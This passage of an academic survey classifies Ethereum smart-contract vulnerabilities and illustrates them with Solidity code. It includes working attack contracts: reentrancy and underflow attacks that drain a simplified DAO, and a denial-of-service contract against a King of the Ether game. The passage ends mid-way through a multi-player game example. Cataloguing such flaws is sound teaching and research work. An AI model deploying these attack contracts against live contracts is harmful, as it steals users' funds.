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Abstract. Smart contracts are computer programs that can be cor-
rectly executed by a network of mutually distrusting nodes, without the
need of an external trusted authority. Since smart contracts handle and
transfer assets of considerable value, besides their correct execution it is
also crucial that their implementation is secure against attacks which aim
at stealing or tampering the assets. We study this problem in Ethereum,
the most well-known and used framework for smart contracts so far. We
analyse the security vulnerabilities of Ethereum smart contracts, pro-
viding a taxonomy of common programming pitfalls which may lead to
vulnerabilities. We show a series of attacks which exploit these vulnera-
bilities, allowing an adversary to steal money or cause other damage.

1 Introduction

The success of Bitcoin, a decentralised cryptographic currency that reached a
capitalisation of 10 billions of dollars since its launch in 2009, has raised con-
siderable interest both in industry and in academia. Industries — as well as na-
tional governments [39,45] — are attracted by the “disruptive” potential of the
blockchain, the underlying technology of cryptocurrencies. Basically, a blockchain
is an append-only data structure maintained by the nodes of a peer-to-peer net-
work. Cryptocurrencies use the blockchain as a public ledger where they record
all the transfers of currency, in order to avoid double-spending of money.

Although Bitcoin is the most paradigmatic application of blockchain tech-
nologies, there are other applications far beyond cryptocurrencies: e.g., financial
products and services, tracking the ownership of various kinds of properties, dig-
ital identity verification, voting, etc. A hot topic is how to leverage on blockchain
technologies to implement smart contracts [29, 44]. Very abstractly, smart con-
tracts are agreements between mutually distrusting participants, which are au-
tomatically enforced by the consensus mechanism of the blockchain — without
relying on a trusted authority.

The most prominent framework for smart contracts is Ethereum [28], whose
capitalisation has reached 1 billion dollars since its launch in July 20151. In
Ethereum, smart contracts are rendered as computer programs, written in a
Turing-complete language. The consensus protocol of Ethereum, which specifies
how the nodes of the peer-to-peer network extend the blockchain, has the goal

1 https://coinmarketcap.com/currencies/ethereum

https://coinmarketcap.com/currencies/ethereum
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of ensuring the correct execution of contracts. One of the key insights of the
protocol is that, to append a new block of data to the blockchain, nodes must
participate to a lottery, where the probability of winning is proportional to the
computational power of the node. An incentive mechanism ensures that, even
if a malicious node who wins the lottery tries to append a block with incorrect
contract executions, this block will be eventually removed from the blockchain.
Despite some criticism about the effectiveness of the consensus protocol [31,36],
recent theoretical studies establish its security whenever the honest nodes control
the majority of the computational power of the network [32,42].

The fact that Ethereum smart contracts are executed correctly is a neces-
sary condition for their effectiveness: otherwise, an adversary could tamper with
executions in order e.g. to divert some money from a legit participant to her-
self. However, the correctness of executions alone is not sufficient to make smart
contracts secure. Indeed, several security vulnerabilities in Ethereum smart con-
tracts have been discovered both by hands-on development experience [30], and
by static analysis of all the contracts on the Ethereum blockchain [35]. These
vulnerabilities have been exploited by some real attacks on Ethereum contracts,
causing losses of money. The most successful of these attacks managed to steal
∼ $60M from a contract, but its effects were cancelled after an harshly debated
revision of the blockchain.

There are several reasons which make the implementation of smart contracts
particularly prone to errors in Ethereum. A significant part of them is related
to Solidity, the high-level programming language supported by Ethereum. Many
vulnerabilities seem to be caused by a misalignment between the semantics of So-
lidity and the intuition of programmers. The problem is that Solidity, whilst look-
ing like a standard Javascript-like language (with exceptions, functions, types),
implements some of these features in an unconventional way. At the same time,
the language does not introduce constructs to deal with domain-specific aspects,
like e.g. the fact that computation steps are recorded on a public blockchain,
wherein they can be unpredictably reordered or delayed.

Another major cause of the proliferation of insecure smart contracts is that
the documentation of known vulnerabilities is scattered through several sources,
mainly Internet discussion forums. Although some works report various vulner-
abilities of smart contracts [7, 19, 21, 30, 35], overall the documentation is disor-
ganised, often not self-contained and not updated, and lacking a comprehensive
survey of vulnerabilities and attacks.

Contributions. In this paper we provide the first systematic exposition of the
security vulnerabilities of Ethereum and of its high-level programming language,
Solidity. We organize the causes of vulnerabilities in a taxonomy, whose purpose
is twofold: (i) as a reference for developers of smart contracts, to know and
avoid common pitfalls; (ii) as a guide for researchers, to foster the development
of analysis and verification techniques for smart contracts. For most of the causes
of vulnerabilities in the taxonomy, we present an actual attack (often carried on
a real contract) which exploits them. All our attacks have been tested on the
Ethereum testnet, and their code is available online at co2.unica.it/ethereum.

http://co2.unica.it/ethereum
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2 Background on Ethereum smart contracts

Ethereum [28] is a decentralized virtual machine, which runs programs — called
contracts — upon request of users. Contracts are written in a Turing-complete
bytecode language, called EVM bytecode [46]. Roughly, a contract is a set of
functions, each one defined by a sequence of bytecode instructions. A remarkable
feature of contracts is that they can transfer ether (a cryptocurrency similar to
Bitcoin [38]) to/from users and to other contracts.

Users send transactions to the Ethereum network in order to: (i) create new
contracts; (ii) invoke functions of a contract; (iii) transfer ether to contracts
or to other users. All the transactions are recorded on a public, append-only
data structure, called blockchain. The sequence of transactions on the blockchain
determines the state of each contract, and the balance of each user.

Since contracts have an economic value, it is crucial to guarantee that their
execution is performed correctly. To this purpose, Ethereum does not rely on a
trusted central authority: rather, each transaction is processed by a large net-
work of mutually untrusted peers — called miners. Potential conflicts in the
execution of contracts (due e.g., to failures or attacks) are resolved through a
consensus protocol based on “proof-of-work” puzzles. Ideally, the execution of
contracts is correct whenever the adversary does not control the majority of the
computational power of the network.

The security of the consensus protocol relies on the assumption that honest
miners are rational, i.e. that it is more convenient for a miner to follow the
protocol than to try to attack it. To make this assumption hold, miners receive
some economic incentives for performing the (time-consuming) computations
required by the protocol. Part of these incentives is given by the execution fees
paid by users upon each transaction. These fees bound the execution steps of
a transaction, so preventing from denial-of-service attacks where users try to
overwhelm the network with time-consuming computations.

Programming smart contracts. We illustrate contracts through a small ex-
ample (AWallet, in Figure 1), which implements a personal wallet associated to
an owner. Rather than programming it directly as EVM bytecode, we use So-
lidity, a Javascript-like programming language which compiles into EVM byte-
code2. Intuitively, the contract can receive ether from other users, and its owner
can send (part of) that ether to other users via the function pay. The hashtable
outflow records all the addresses3 to which it sends money, and associates to
each of them the total transferred amount. All the ether received is held by
the contract. Its amount is automatically recorded in balance: this is a special
variable, which cannot be altered by the programmer.

Contract are composed by fields and functions. A user can invoke a func-
tion by sending a suitable transaction to the Ethereum nodes. The transaction

2 Currently, Solidity is the only high-level language supported by the Ethereum com-
munity. Unless otherwise stated, in our examples we use version 0.3.1 of the compiler.

3 Addresses are sequences of 160 bits which uniquely identify contracts and users.
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1 contract AWallet{

2 address owner;

3 mapping (address => uint) public outflow;

4

5 function AWallet(){ owner = msg.sender; }

6

7 function pay(uint amount, address recipient) returns (bool){

8 if (msg.sender != owner || msg.value != 0) throw;

9 if (amount > this.balance) return false;

10 outflow[recipient] += amount;

11 if (!recipient.send(amount)) throw;

12 return true;

13 }

14 }

Fig. 1. A simple wallet contract.

must include the execution fee (for the miners), and may include a transfer of
ether from the caller to the contract. Solidity also features exceptions, but with
a peculiar behaviour. When an exception is thrown, it cannot be caught: the
execution stops, the fee is lost, and all the side effects — including transfers of
ether — are reverted.

The function AWallet at line 5 is a constructor, run only once when the
contract is created. The function pay sends amount wei (1wei = 10−18ether)
from the contract to recipient. At line 8 the contract throws an exception if the
caller (msg.sender) is not the owner, or if some ether (msg.value) is attached
to the invocation and transferred to the contract. Since exceptions revert side
effects, this ether is returned to the caller (who however loses the fee). At line 9,
the call terminates if the required amount of ether is unavailable; in this case,
there is no need to revert the state with an exception. At line 10, the contract
updates the outflow registry, before transferring the ether to the recipient. The
function send used at line 11 to this purpose presents some quirks (see Section 3).
For instance, the transfer at line 11 always succeeds if the recipient is a user,
while it may fail if the recipient is a contract.

Execution fees. Each function invocation is ideally executed by all miners in
the Ethereum network. Miners are incentivized to do such work by the execution
fees paid by the users which invoke functions. Besides being used as incentives,
execution fees also protect against denial-of-service attacks, where an adversary
tries to slow down the network by requesting time-consuming computations.

Execution fees are defined in terms of gas and gas price, and their prod-
uct represents the cost paid by the user to execute code. More specifically, the
transaction which triggers the invocation specifies the gas limit up to which the
user is willing to pay, and the price per unit of gas. Roughly, the higher is the
price per unit, the higher is the chance that miners will choose to execute the
transaction. Each EVM operation consumes a certain amount of gas [46], and
the overall fee depends on the whole sequence of operations executed by miners.

Miners execute a transaction until its normal termination, unless all the pro-
vided gas is consumed. If the transaction terminates successfully, the remaining
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gas is returned to the caller. Instead, if the execution terminates by gas exhaus-
tion, an “out-of-gas” exception is thrown. An adversary wishing to attempt a
denial-of-service attack (e.g. by invoking a time-consuming function) should al-
locate a large amount of gas, and pay the corresponding ether. If the adversary
chooses a gas price consistently with the market, miners will execute the trans-
action, but the attack will be too expensive; otherwise, if the price is too low,
miners will not execute the transaction.

The mining process. Miners group the transactions sent by users into blocks,
and try to append them to the blockchain in order to collect the associated fees.
Only those blocks which satisfy a given set of conditions, which altogether are
called validity, can be appended to the blockchain. In particular, one of these
conditions requires to solve a moderately hard “proof-of-work” puzzle4, which
depends on the previous block and on the transactions in the new block. The
difficulty of the puzzle is dynamically updated so that the average mining rate
is 1 block every 12 seconds.

When a miner solves the puzzle and broadcasts a new valid block to the
network, the other miners discard their attempts, update their local copy of the
blockchain by appending the new block, and start “mining” on top of it. The
miner who solves the puzzle is rewarded with the fees of the transactions in the
new block (and also with some fresh ether).

It may happen that two (or more) miners solve the puzzle almost simultane-
ously. In this case, the blockchain forks in two (or more) branches, with the new
blocks pointing to the same parent block. The consensus protocol prescribes
miners to extend the longest branch. Hence, even though both branches can
transiently continue to exist, eventually the fork will be resolved for the longest
branch. Only the transactions therein will be part of the blockchain, while those
in the shortest branch will be discarded. The reward mechanism, inspired to the
GHOST protocol in [42], assigns the full fees to the miners of the blocks in the
longest branch, and a portion of the fees to those who mined the roots of the
discarded branch5. E.g., assume that blocks A and B have the same parent, and
that a miner appends a new block on top of A. The miner can donate part of
its reward to the miner of B, in order to increase the weight of its branch in the
fork resolution process

Compiling Solidity into EVM bytecode. Although contracts are rendered
as sets of functions in Solidity, the EVM bytecode has no support for functions.
Therefore, the Solidity compiler translates contracts so that their first part im-
plements a function dispatching mechanism. More specifically, each function is
uniquely identified by a signature, based on its name and type parameters. Upon
function invocation, this signature is passed as input to the called contract: if it

4 https://github.com/ethereum/wiki/wiki/Ethash
5 Systems with low mining rate — like e.g. Bitcoin (1 block/10 minutes) — have

a small probability of forks, hence typically they do not reward discarded blocks.
Note however that a recent paper [33] argues that, contrary to the common belief,
Ethereum does not assign fees to “uncles”, so diverging from the GHOST protocol.

https://github.com/ethereum/wiki/wiki/Ethash
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Level Cause of vulnerability Attacks

Solidity Call to the unknown 4.1
Gasless send 4.2
Exception disorders 4.2
Type casts —
Reentrancy 4.1
Keeping secrets 4.3

EVM Immutable bugs 4.4,4.5
Ether lost in trasfer —
Stack size limit 4.5

Blockchain Unpredictable state 4.5, 4.6
Generating randomness —
Time constraints 4.5

Table 1. Taxonomy of vulnerabilities in Ethereum smart contracts.

matches some function, the execution jumps to the corresponding code, other-
wise it jumps to the fallback function. This is a special function with no name
and no arguments, which can be arbitrarily programmed. The fallback function
is executed also when the contract is passed an empty signature: this happens
e.g. when sending ether to the contract.

Solidity features three different constructs to invoke a contract from another
contract, which also allow to send ether. All these constructs are compiled using
the same bytecode instruction. The result is that the same behaviour can be
implemented in several ways, with some subtle differences detailed in Section 3.

3 A taxonomy of vulnerabilities in smart contracts

In this section we systematize the security vulnerabilities of Ethereum smart
contracts. We group the vulnerabilities in three classes, according to the level
where they are introduced (Solidity, EVM bytecode, or blockchain). Further, we
illustrate each vulnerability at the Solidity level through a small piece of code.
All these vulnerabilities can be (actually, most of them have been) exploited to
carry on attacks which e.g. steal money from contracts. Table 1 summarizes our
taxonomy of vulnerabilities, with links to the attacks illustrated in Section 4.

Call to the unknown. Some of the primitives used in Solidity to invoke func-
tions and to transfer ether may have the side effect of invoking the fallback
function of the callee/recipient. We illustrate them below.

– call invokes a function (of another contract, or of itself), and transfers ether
to the callee. E.g., one can invoke the function ping of contract c as follows:

c.call.value(amount)(bytes4(sha3("ping(uint256)")),n);

where the called function is identified by the first 4 bytes of its hashed
signature, amount determines how many wei have to be transferred to c,
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and n is the actual parameter of ping. Remarkably, if a function with the
given signature does not exist at address c, then the fallback function of c
is executed, instead. Although the use of call is discouraged [18], in some
cases this is the only possible way to transfer ether to contracts (as discussed
in the context of the “gasless send” vulnerability at page 8).

– send is used to transfer ether from the running contract to some recipient r,
as in r.send(amount). After the ether has been transferred, send executes
the recipient’s fallback. Others vulnerabilities related to send are detailed in
“exception disorders” and “gasless send”.

– delegatecall is quite similar to call, with the difference that the invo-
cation of the called function is run in the caller environment. For instance,
executing c.delegatecall(bytes4(sha3("ping(uint256)")),n), if ping
contains the variable this, it refers to the caller’s address and not to c, and
in case of ether transfer to some recipient d — via d.send(amount) — the
ether is taken from the caller balance (see e.g. the attack in Section 4.6).

The fallback function is not the only piece of code that can be unexpectedly
executed: other cases are reported in the vulnerabilities “type cast” at page 9
and “unpredictable state” at page 11.

Exception disorder. In Solidity there are several situations where an excep-
tion may be raised, e.g. if (i) the execution runs out of gas; (ii) the call stack
reaches its limit; (iii) the command throw is executed. However, Solidity is not
uniform in the way it handles exceptions: there are two different behaviours,
which depend on how contracts call each others. Besides call/delegatecall
illustrated above, one can use also direct calls as follows:

contract Alice { function ping() returns (uint) }

contract Bob { uint x=0;

function pong(address c){ x=1; Alice(c).ping(); x=2; } }

The first line declares the interface of Alice’s contract, and the last two lines
contain Bob’s contract: therein, pong invokes Alice’s ping via a direct call. Now,
assume that some user invokes Bob’s pong, and that Alice’s ping throws an
exception. Then, the execution stops, and the side effects of the whole transaction
are reverted. Therefore, the field x contains 0 after the transaction. Now, assume
instead that Bob invokes ping via a call. In this case, only the side effects of
that invocation are reverted, the call returns false, and the execution continues.
Therefore, x contains 2 after the transaction.

More in general, assume that there is a chain of nested calls, when an excep-
tion is thrown. Then, the exception is handled as follows:

– if every element of the chain is a direct call, then the execution stops, and
every side effect (including transfers of ether) is reverted. Further, all the
gas allocated by the originating transaction is consumed;

– if at least one element of the chain is a call (the cases delegatecall and
send are similar), then the exception is propagated along the chain, reverting
all the side effects in the called contracts, until it reaches a call. From that
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point the execution is resumed, with the call returning false6. Further, all
the gas allocated by the call is consumed.

To set an upper bound to the use of gas in a call, one can write:

c.call.gas(g)(bytes4(sha3("ping(uint256)")),n);

In case of exceptions, if no bound is specified then all the available gas is lost;
otherwise, only g gas is lost.

The irregularity in how exceptions are handled may affect the security of
contracts. For instance, believing that a transfer of ether was successful just
because there were no exceptions may lead to attacks (see e.g. Section 4.2).
Indeed, this is a common pitfall: the quantitative analysis in [12] shows that
∼ 28% of contracts do not control the return value of call/send invocations.

Gasless send. When using the function send to transfer ether to a contract,
it is possible to incur in an out-of-gas exception. This may be quite unex-
pected by programmers, because transferring ether is not generally associated
to executing code. The reason behind this exception is subtle. First, note that
c.send(amount) is just syntactic sugar for c.call.gas(0).value(amount)().
Despite the gas limit set in the call, the actual gas allocated is not always
zero: it is zero if amount is zero, otherwise it is 2300 units. Since the call has
no signature, it will invoke the callee’s fallback function. However, 2300 units
of gas only allow to execute a limited set of bytecode instructions, e.g. those
which do not alter the state of the contract. Therefore, except for trivial fallback
functions, the call will end up in an out-of-gas exception.

We illustrate the behaviour of send through a small example, involving a
contract C who sends ether through function pay, and two recipients D1, D2.

1 contract C {

2 function pay(uint n, address d){

3 d.send(n);

4 }

5 }

6 contract D1 {

7 uint public count = 0;

8 function() { count++; }

9 }

10 contract D2 { function() {} }

There are three possible cases to execute pay:

– n = 0 and d ∈ {D1, D2}. The send in C fails with an out-of-gas exception,
since the gas is not enough to execute any fallback, not even an empty one.

– n 6= 0 and d = D1. The send in C fails with an out-of-gas exception, because
2300 units of gas are not enough to execute the state-updating D1’s fallback.

– n 6= 0 and d = D2. The send in C succeeds, because 2300 units of gas are
enough to execute the empty fallback of D2.

Summing up, sending ether via send succeeds in two cases: when the recipient
is a contract with a trivial fallback, or when the recipient is a user.

6 Note that the return value of a function invoked via call is not returned.
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Type casts. The Solidity compiler can detects some type errors (e.g., assign-
ing an integer value to a variable of type string). Types are also used in direct
calls: the caller must declare the callee’s interface, and cast to it the callee’s ad-
dress when performing the call. For instance, the contract Bob in the “exception
disorder” vulnerability uses Alice(c).ping() to invoke the ping function of c,
informing the compiler that c adheres to interface Alice. However, the compiler
only checks whether the interface declares the function ping, while it does not
check that: (i) c is the address of contract Alice; (ii) the interface declared
within Bob matches Alice’s actual interface.

The fact that a contract can type-check may deceive programmers, making
them believe that any error in checks (i) and (ii) is detected. Furthermore, even
in the presence of such errors, the contract will not throw exceptions at run-time.
Indeed, direct calls are compiled in the same EVM bytecode instruction used to
compile call (except for the management of exceptions). Hence, in case of type
mismatch, three different things may happen at run-time:

– if c is not a contract address, the call returns without executing any code7;
– if c is a contract with a function with the same signature as Alice’s ping,

then that function is executed. Remarkably, the execution raises no errors
in case c is not the address of contract Alice;

– if c is a contract with no function matching the signature of Alice’s ping,
then c’s fallback is executed.

In all cases, no exception is thrown, and the caller is unaware of the error.

Reentrancy. The atomicity and sequentiality of transactions may induce pro-
grammers to believe that, when a non-recursive function is invoked, it cannot be
re-entered before its termination. However, this is not always the case, because
the fallback mechanism may allow an attacker to re-enter the caller function.
This may result in unexpected behaviours, and possibly also in loops of invoca-
tions which eventually consume all the gas. For instance, assume that contract
Bob is already on the blockchain, when the attacker publishes Mallory contract:

1 contract Bob {

2 bool sent = false;

3 function ping(address c) {

4 if (!sent) {

5 c.call.value(2)();

6 sent = true;

7 }}}

8 contract Bob { function ping(); }

9

10 contract Mallory {

11 function() {

12 Bob(msg.sender).ping(this);

13 }

14 }

The function ping in Bob is meant to send exactly 2wei to some address c, using
a call with empty signature and no gas limits. Now, assume that ping has been
invoked with Mallory’s address. As mentioned before, the call has the side
effect of invoking Mallory’s fallback, which in turn invokes again ping. Since
variable sent has not already been set to true, Bob sends again 2wei to Mallory,

7 Starting from version 0.4.0 of the Solidity compiler, an exception is thrown if the
invoked address is associated with no code.
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and invokes again her fallback, thus starting a loop. This loop ends when the
execution eventually goes out-of-gas, or when the stack limit is reached (see the
“stack size limit” vulnerability at page 11), or when Bob has been drained off
all his ether. In all cases an exception is thrown: however, since call does not
propagate the exception, only the effects of the last call are reverted, leaving all
the previous transfers of ether valid.

This vulnerability resides in the fact that function ping is not reentrant,
i.e. it may misbehave if invoked before its termination. Remarkably, the “DAO
Attack”, which caused a huge ether loss in June 2016, exploited this vulnerability
(see Section 4.1 for more details on the attack).

Keeping secrets. Fields in contracts can be public, i.e. directly readable by
everyone, or private, i.e. not directly readable by other users/contracts. Still,
declaring a field as private does not guarantee its secrecy. This is because, to set
the value of a field, users must send a suitable transaction to miners, who will
then publish it on the blockchain. Since the blockchain is public, everyone can
inspect the contents of the transaction, and infer the new value of the field.

Many contracts, e.g. those implementing multi-player games, require that
some fields are kept secret for a while: for instance, if a field stores the next move
of a player, revealing it to the other players may advantage them in choosing
their next move. In such cases, to ensure that a field remains secret until a certain
event occurs, the contract has to exploit suitable cryptographic techniques, like
e.g. timed commitments [22,26] (see Section 4.3).

Immutable bugs. Once a contract is published on the blockchain, it can no
longer be altered. Hence, users can trust that if the contract implements their
intended functionality, then its runtime behaviour will be the expected one as
well, since this is ensured by the consensus protocol. The drawback is that if a
contract contains a bug, there is no direct way to patch it. So, programmers have
to anticipate ways to alter or terminate a contract in its implementation [37] —
although it is debatable the coherency of this with the principles of Ethereum8.

The immutability of bugs has been exploited in various attacks, e.g. to steal
ether, or to make it unredeemable by any user (see Sections 4.4 and 4.5). In all
these attacks, there was no possibility of recovery. The only exception was the
recovery from the “DAO attack”. The countermeasure was an hard-fork of the
blockchain, which basically discarded the transactions involved in the attack [13].
However, this solution was not agreed by the whole Ethereum community, as it
contrasted with the “code is law” principle claimed so far. As a consequence,
part of the miners refused to fork, and created an alternative blockchain [5].

Ether lost in transfer. When sending ether, one has to specify the recipient
address, which takes the form of a sequence of 160 bits. However, many of these
addresses are orphan, i.e. they are not associated to any user or contract. Quite

8 This is one of the main points advertised by the slogan: “Ethereum is a decentralized
platform that runs smart contracts: applications that run exactly as programmed
without any possibility of downtime, censorship, fraud or third party interference”.
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drastically, if some ether is sent to an orphan address, it is lost forever. Since lost
ether cannot be recovered, programmers have to manually verify the correctness
of the recipient addresses.

Stack size limit. Each time a contract invokes another contract (or even itself
via this.f()) the call stack associated with the transaction grows by one frame.
The call stack is bounded to 1024 frames: when this limit is reached, a further
invocation throws an exception. An adversary may exploit this fact to carry
on an attack as follows: he starts by generating an almost-full call stack (via
a sequence of nested calls), and then he invokes the victim’s function, which
will fail upon a further invocation. If the exception is not properly handled
by the victim’s contract, the adversary could manage to succeed in his attack.
This vulnerability could be exploited together with others: e.g., in Section 4.5
we implement a malicious contract by exploiting the “exception disorderd” and
“stack size limit” vulnerabilities.

Unpredictable state. The state of a contract is determined by the value of its
fields and balance. In general, when a user sends a transaction to the network
in order to invoke some contract, he cannot be sure that the transaction will be
run in the same state the contract was at the time of sending that transaction.
This may happen because, in the meanwhile, other transactions have changed
the contract state. Even if the user was fast enough to be the first to send a
transaction, it is not guaranteed that such transaction will be the first to be
run. Indeed, when miners group transactions into blocks, they are not required
to preserve any order; they could also choose not to include some transactions.

There is another circumstance where a user may not know the actual state
wherein his transaction will be run. This happens in case the blockchain forks
(see Section 2). Recall that, when two miners discover a new valid block at the
same time, the blockchain forks in two branches. Some miners will try to append
new blocks on one of the branches, while some others will work on the other
one. After some time, though, only the longest branch will be considered part
of the blockchain, while the shortest one will be abandoned. Transactions in the
shortest branch will then be ignored, because no longer part of the blockchain.
Therefore, believing that a contract is in a certain state, could be determinant
for a user in order to publish new transactions (e.g., for sending ether to other
users). However, later on such state could be reverted, because the transactions
that led to it could happen to be in the shortest branch of a fork.

In some cases, not knowing the state where a transaction will be run could
give rise to vulnerabilities. E.g., this is the case when invoking contracts that
can be dynamically updated. Note indeed that, although the code of a contract
cannot be altered once published on the blockchain, with some forethinking it
is possible to craft a contract whose components can be updated at his owner’s
request. At a later time, the owner can link such contract to a malicious com-
ponent, which e.g. steals the caller’s ether (see e.g. the attack in Section 4.6).
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Generating randomness. The execution of EVM bytecode is deterministic:
in the absence of misbehaviour, all miners executing a transaction will have the
same results. Hence, to simulate non-deterministic choices, many contracts (e.g.
lotteries, games, etc.) generate pseudo-random numbers, where the initialization
seed is chosen uniquely for all miners.

A common choice is to take for this seed (or for the random number itself) the
hash or the timestamp of some block that will appear in the blockchain at a given
time in the future. Since all the miners have the same view of the blockchain, at
run-time this value will be the same for everyone. Apparently, this is a secure way
to generate random numbers, as the content of future blocks is unpredictable.
However, since miners control which transactions are put in a block and in which
order, a malicious miner could attempt to craft his block so to bias the outcome
of the pseudo-random generator. The analysis in [27] on the randomness of the
Bitcoin blockchain shows that an attacker, controlling a minority of the mining
power of the network, could invest 50 bitcoins to significantly bias the probability
distribution of the outcome; more recent research [40] proves that this is also
possible with more limited resources.

Alternative solutions to this problem are based on timed commitment pro-
tocols [22, 26]. In these protocols, each participant chooses a secret, and then
communicates to the others a digest of it, paying a deposit as a guarantee.
Later on, participants must either reveal their secrets, or lose their deposits.
The pseudo-random number is then computed by combining the secrets of all
participants [16, 17]. Also in this case an adversary could bias the outcome by
not revealing her secret: however, doing so would result in losing her deposit.
The protocol can then set the amount of the deposit so that not revealing the
secret is an irrational strategy.

Time constraints. A wide range of applications use time constraints in order
to determine which actions are permitted (or mandatory) in the current state.
Typically, time constraints are implemented by using block timestamps, which
are agreed upon by all the miners.

Contracts can retrieve the timestamp in which the block was mined; all the
transactions within a block share the same timestamp. This guarantees the co-
herence with the state of the contract after the execution, but it may also expose
the contract to attacks. Indeed, the miner who creates the new block can choose
the timestamp with a certain degree of arbitrariness, i.e. a tolerance of 900 sec-
onds [3]. If the miner holds a stake on a contract, he could gain an advantage
by choosing a suitable timestamp for the block he is mining. In Section 4.5 we
illustrate an attack which exploits this vulnerability.

4 Attacks

We now illustrate some attacks — many of which inspired to real use cases —
which exploit the vulnerabilities presented in Section 3.
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4.1 The DAO attack

The DAO [20] was a contract implementing a crowd-funding platform, which
raised ∼ $150M before being attacked on June 18th, 2016 [4]. An attacker
managed to put ∼ $60M under her control, until the hard-fork of the blockchain
discarded the transactions involved in the attack.

We now present a simplified version of the DAO, which shares the same
vulnerabilities as the original one. We then show two attacks which exploit them.

1 contract SimpleDAO {

2 mapping (address => uint) public credit;

3 function donate(address to){credit[to] += msg.value;}

4 function queryCredit(address to) returns (uint){

5 return credit[to];

6 }

7 function withdraw(uint amount) {

8 if (credit[msg.sender]>= amount) {

9 msg.sender.call.value(amount)();

10 credit[msg.sender]-=amount;

11 }}}

SimpleDAO allows participants to donate ether to fund contracts at their choice.
Contracts can then withdraw their funds.

Attack #1. This attack allows the adversary to steal all the ether from the
SimpleDAO. The first step of the attack is to publish the contract Mallory.

1 contract Mallory {

2 SimpleDAO public dao = SimpleDAO(0x354...);

3 address owner;

4 function Mallory(){owner = msg.sender; }

5 function() { dao.withdraw(dao.queryCredit(this)); }

6 function getJackpot(){ owner.send(this.balance); }

7 }

Then, the adversary donates some ether for Mallory, and invokes Mallory’s
fallback. The fallback function invokes withdraw, which transfers the ether to
Mallory. Now, the function call used to this purpose has the side effect of in-
voking Mallory’s fallback again (line 5), which maliciously calls back withdraw.
Note that withdraw has been interrupted before it could update the credit

field: hence, the check at line 8 succeeds again. Consequently, the DAO sends
the credit to Mallory for the second time, and invokes her fallback again, and so
on in a loop, until one of the following events occur: (i) the gas is exhausted, or
(ii) the call stack is full, or (iii) the balance of DAO becomes zero. The overall
effect of the attack is that, with a series of these attacks, the adversary can steal
all the ether from the DAO. Note that the adversary can delay the out-of-gas
exception by providing more gas in the originating transaction, because the call
at line 9 does not specify a gas limit.

Attack #2. Also our second attack allows an adversary to steal all the ether
from the DAO, but it only need two calls to the fallback function. The first step
is to publish Mallory2, providing it with a small amount of ether (e.g., 1wei).
Then, the adversary invokes attack to donate 1wei to herself, and subsequently
withdraws it. The function withdraw checks that the user credit is enough, and
if so it transfers the ether to Mallory2.
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1 contract Mallory2 {

2 SimpleDAO public dao = SimpleDAO(0x818EA...);

3 address owner; bool performAttack = true;

4

5 function Mallory2(){ owner = msg.sender; }

6

7 function attack() {

8 dao.donate.value(1)(this);

9 dao.withdraw(1);

10 }

1 function() {

2 if (performAttack) {

3 performAttack = false;

4 dao.withdraw(1);

5 }}

6

7 function getJackpot(){

8 dao.withdraw(dao.balance);

9 owner.send(this.balance);

10 }}

As in the previous attack, call invokes Mallory2’s fallback, which in turn calls
back withdraw. Also in this casewithdraw is interrupted before updating the
credit: hence, the check at line 8 succeeds again. Consequently, the DAO sends
1wei to Mallory2 for the second time, and invokes her fallback again. However
this time the fallback does nothing, and the nested calls begin to close. The
effect is that Mallory2’s credit is updated twice: the first time to zero, and
the second one to (2256− 1)wei, because of the underflow. To finalise the attack,
Mallory2 invokes getJackpot, which steals all the ether from SimpleDAO, and
transfers it to Mallory2’s owner.

Both attacks were possible because SimpleDAO sends the specified amount of
ether before decreasing the credit. Overall, the attacks exploit the “call to the
unknown”, and “reentrancy” vulnerabilities. The first attack is more effective
with a larger investment, while the second one is already rewarding with an
investment of just 1wei (the smallest fraction of ether). Note that the second
attack works also in a variant of SimpleDAO, which checks the return code of
call at line 9 and throws an exception in case it fails.

4.2 King of the Ether Throne

The “King of the Ether Throne” [14, 15] is a game where players compete for
acquiring the title of “King of the Ether”. If someone wishes to be the king, he
must pay some ether to the current king, plus a small fee to the contract. The
prize to be king increases monotonically. We discuss a simplified version of the
game (with the same vulnerabilities), implemented as the contract KotET:

1 contract KotET {

2 address public king;

3 uint public claimPrice = 100;

4 address owner;

5

6 function KotET() {

7 owner = msg.sender; king = msg.sender;

8 }

9

10 function sweepCommission(uint amount) {

11 owner.send(amount);

12 }

13 function() {

14 if (msg.value < claimPrice) throw;

15

16 uint compensation = calculateCompensation();

17 king.send(compensation);

18 king = msg.sender;

19 claimPrice = calculateNewPrice();

20 }

21 /* other functions below */

22 }

Whenever a player sends msg.value ether to the contract, he also triggers the ex-
ecution of KotET’s fallback. The fallback first checks that the sent ether is enough
to buy the title: if not, it throws an exception (reverting the ether transfer); oth-
erwise, the player is accepted as the new king. At this point, a compensation is
sent to the dismissing king, and the player is crowned. The difference between
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msg.value and the compensation is kept by the contract. The owner of KotET
can withdraw the ether accumulated in the contract through sweepCommission.

Apparently, the contract may seem honest: in fact, it is not, because not
checking the return code of send may result in stealing ether. Indeed, since send

is equipped with a few gas (see “gasless send” vulnerability), the send at line 17

will fail if the king’s address is that of a contract with a not-trivial fallback. In
this case, since send does not propagate exceptions (see “exception disorder”),
the compensation is kept by the contract.

Now, assume that an honest programmer wants to implement a fair variant
of KotET, by replacing send with call at line 6, and by checking its return code:

1 contract KotET {

2 ...

3 function() {

4 if (msg.value < claimPrice) throw;

5 uint compensation = calculateCompensation();

6 if (!king.call.value(compensation)()) throw;

7 king = msg.sender;

8 claimPrice = calculateNewPrice();

9 }}

10 contract Mallory {

11

12 function unseatKing(address a, uint w) {

13 a.call.value(w);

14 }

15

16 function () {

17 throw;

18 }}

This variant is more trustworthy than the previous, but vulnerable to a denial
of service attack. To see why, consider an attacker Mallory, whose fallback just
throws an exception. The adversary calls unseatKing with the right amount of
ether, so that Mallory becomes the new king. At this point, nobody else can get
her crown, since every time KotET tries to send the compensation to Mallory,
her fallback throws an exception, preventing the coronation to succeed.

4.3 Multi-player games

Consider a contract which implements a simple “odds and evens” game between
two players. Each player chooses a number: if the sum is even, the first player
wins, otherwise the second one wins.

1 contract OddsAndEvens{

2 struct Player { address addr; uint number;}

3 Player[2] private players;

4 uint8 tot = 0; address owner;

5

6 function OddsAndEvens() {owner = msg.sender;}

7

8 function play(uint number) {

9 if (msg.value != 1 ether) throw;

10 players[tot] = Player(msg.sender, number);

11 tot++;

12 if (tot==2) andTheWinnerIs();

13 }

14 function andTheWinnerIs() private {

15 uint n = players[0].number

16 + players[1].number;

17 players[n%2].addr.send(1800 finney);

18 delete players;

19 tot=0;

20 }

21

22 function getProfit() {

23 owner.send(this.balance);

24 }

25 }

The contract records the bets of two players in the field players. Since this
